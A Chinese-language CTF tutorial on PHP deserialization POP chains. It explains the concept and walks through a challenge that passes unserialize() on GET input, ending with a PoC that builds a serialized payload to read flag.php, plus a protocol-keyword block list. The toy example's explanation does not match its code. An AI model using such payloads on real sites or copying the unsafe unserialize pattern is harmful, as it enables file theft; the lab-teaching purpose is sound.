本专栏CTF基础入门系列打破
以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式
。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~
本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~
1. POP链学习建议
实话实说,这部分的学习有些难度,特别对于没有编程基础的同学来说,有些难以理解。下面给出这部分学习的一些小tips:
-
学习PHP Pop链需要具备一定的PHP编程和Web安全知识,并需要深入理解PHP的序列化机制和反序列化漏洞的原理。以下是一些学习PHP Pop链的建议:
-
学习PHP编程:学习PHP编程是学习PHP Pop链的基础,需要掌握PHP的基本语法和常用函数,了解PHP的面向对象编程和设计模式等。建议网上直接搜类似于菜鸟教程的网站学习5-7天即可。
-
学习Web安全知识:学习Web安全知识是理解PHP Pop链攻击原理的必要条件,需要了解Web应用的常见漏洞类型和攻击技术,如SQL注入、XSS、CSRF、反序列化漏洞等。
此部分详见我的专题系列文章
《WEB安全0基础入门系列》,我个人强推,建议看完我的系列文章,再上官网阅读官方文档。 -
深入理解PHP序列化机制:PHP序列化是PHP Pop链攻击的基础,需要深入理解PHP的序列化机制,包括序列化格式、序列化函数和反序列化函数等。
本系列文章已详细讲解
CTF-PHP反序列化漏洞1-基础知识 -
学习PHP Pop链实例:学习PHP Pop链需要了解实际攻击中的Pop链构造方法和技巧,可以参考一些已知的PHP Pop链实例,如ysoserial、PHPGGC等。
本篇文章和本系列后续文章
-
-
实践练习:实践是学习PHP Pop链的关键,可以通过搭建实验环境、编写漏洞利用代码等方式进行实践练习,提升攻击技能和经验。
环境搭建,参考本系列文章
phpstudy本地环境搭建图文教程
2. POP链的含义
它是⼀种⾯向属性编程,常⽤于构造调⽤链的⽅法。
PHP反序列化攻击是一种常见的Web攻击,攻击者通过构造恶意的序列化数据,将其传递给目标服务器,从而导致服务器执行非预期的操作。而Pop链则是一种利用PHP反序列化漏洞的攻击方式,可以在未授权的情况下执行任意代码。
Pop链的基本思路是,通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的。Pop链通常是由多个对象序列化数据组成的,每个对象都包含着下一个对象的引用。当程序反序列化第一个对象时,就会自动解析其中的引用,并继续反序列化下一个对象,以此类推,最终执行攻击者希望执行的代码。
Pop链的构造需要一定的技术水平,需要了解PHP的序列化机制和反序列化漏洞的原理。同时,攻击者还需要了解目标系统的环境和配置,才能选择合适的攻击方式。因此,Pop链攻击是一种高级的Web攻击技术,需要攻击者具备较高的技术水平和经验。
在题⽬中的代码⾥找到⼀系列能调⽤的指令,并将这些指令整合成⼀条有逻辑的能达到恶意攻击效果的代码,就是pop链。
反序列化是通过控制对象的属性从⽽实现控制程序的执⾏流程,进⽽达成利⽤本身⽆害的代码进⾏有害操作的⽬的。
3. POP链代码示例
下面是一个简单的PHP反序列化Pop链代码:
<?php
class A {
public $b;
public function __destruct() {
eval($this->b);
}
}
class B {
public $c;
public function __destruct() {
$this->c->__destruct();
}
}
class C {
public $cmd;
}
$cmd = 'echo "Hello, world!";';
$c = new C();
$c->cmd = $cmd;
$b = new B();
$b->c = $c;
$a = new A();
$a->b = serialize($b);
$pop_chain = unserialize($a->b);
?>
上述代码中,定义了三个类A、B和C,其中A类包含一个属性b,B类包含一个属性c,C类包含一个属性cmd。在A类的析构函数中,使用eval函数执行B类的属性c中的__destruct函数。在B类的析构函数中,调用C类的__destruct函数。最终,我们将C类的cmd属性设置为要执行的命令,并将B类序列化后赋值给A类的属性b,最终通过反序列化Pop链实现了执行指定命令的目的。
需要注意的是,这只是一个简单的示例代码,实际上构造Pop链需要更多的技术细节和实践经验。攻击者应该遵循合法的道德和法律规范,不得进行非法攻击和侵犯他人隐私的行为。
重点说明
4. POP链经典例题(加深理解)
- 题目源码
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value) //Read类里的危险函数,能读取$value的内容并返回
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){ // Read类里对象被当成函数处理时⾃动调⽤,此魔法函数调用危险函数
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php') // 构造Show类实例时调用
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString() // show类的对象被当作字符串处理时调⽤
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup() //show类的对象反序列化时⾃动调⽤
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct() // 构造Test类实例时调用
{
$this->p = array();
}
public function __get($key) //获取Test类不存在或者不可访问的变量时⾃动调⽤
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
- 解题思路
- 源码中魔法函数的作用详见备注,分析关键点如下
- 反序列化唯一入口 __wakeup() //show类的对象反序列化时⾃动调⽤
- 解题关键点 __wakeup() 里调用的函数 preg_match(参数A,参数B)
参数B被当做字符串处理。这个流程会自动调用该类的魔法函数__toString() - 链终点危险函数__invoke()
- 分析完整思路如下:
// 1. 该题目中反序列调用的魔法方法,只找到一个方法。所以入口一定是Show#__wakeup
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
// 2. preg_match 函数第⼆个参数为字符串类型,所以这⾥会将$this->source当作⼀个字符串处理。将触发触发 Show#__tostring()魔术⽅法
public function __toString() //对象被当作字符串处理时调⽤
{
return $this->str['str']->source;
}
// 3. Show#__toString()里的$this->str['str']->source的变量操作,这里可以触发Test#__get($key)魔术方法
public function __get($key) //获取不存在或者不可访问的变量时⾃动调⽤
{
$function = $this->p;
return $function();
}
// 4. 调⽤$function这个⽅法、函数,也就是将 $this->p 成员变量当作函数来调⽤,这⾥可以触发 __invoke()这个魔术⽅法
public function __invoke(){ //对象被当成函数处理时⾃动调⽤
$content = $this->file_get($this->var); //调⽤file_get⽅法
echo $content;
}
// 5. file_get⽅法可以读取任意⽂件,⽂件名为成员变量 $this->var
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
最终构造的完整POP链(攻击链)如下:
hello -> Show__wakeup -> source -> Show.__toString -> (不存在属性)Test.__get() -> p ->Read.__invoke
// hello是Show的对象,source是Show的对象,str['str']是test的对象,p是Read的对象
- 构造POC
<?php
class Read{
public $var='flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$show = new Show();
$test = new Test();
$read = new Read();
$test->p=$read;
$show->source=$show;
$show->str['str']=$test;
echo serialize($show);
?>
// 结果
// O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}
下篇文章将继续介绍pop链的相关题目,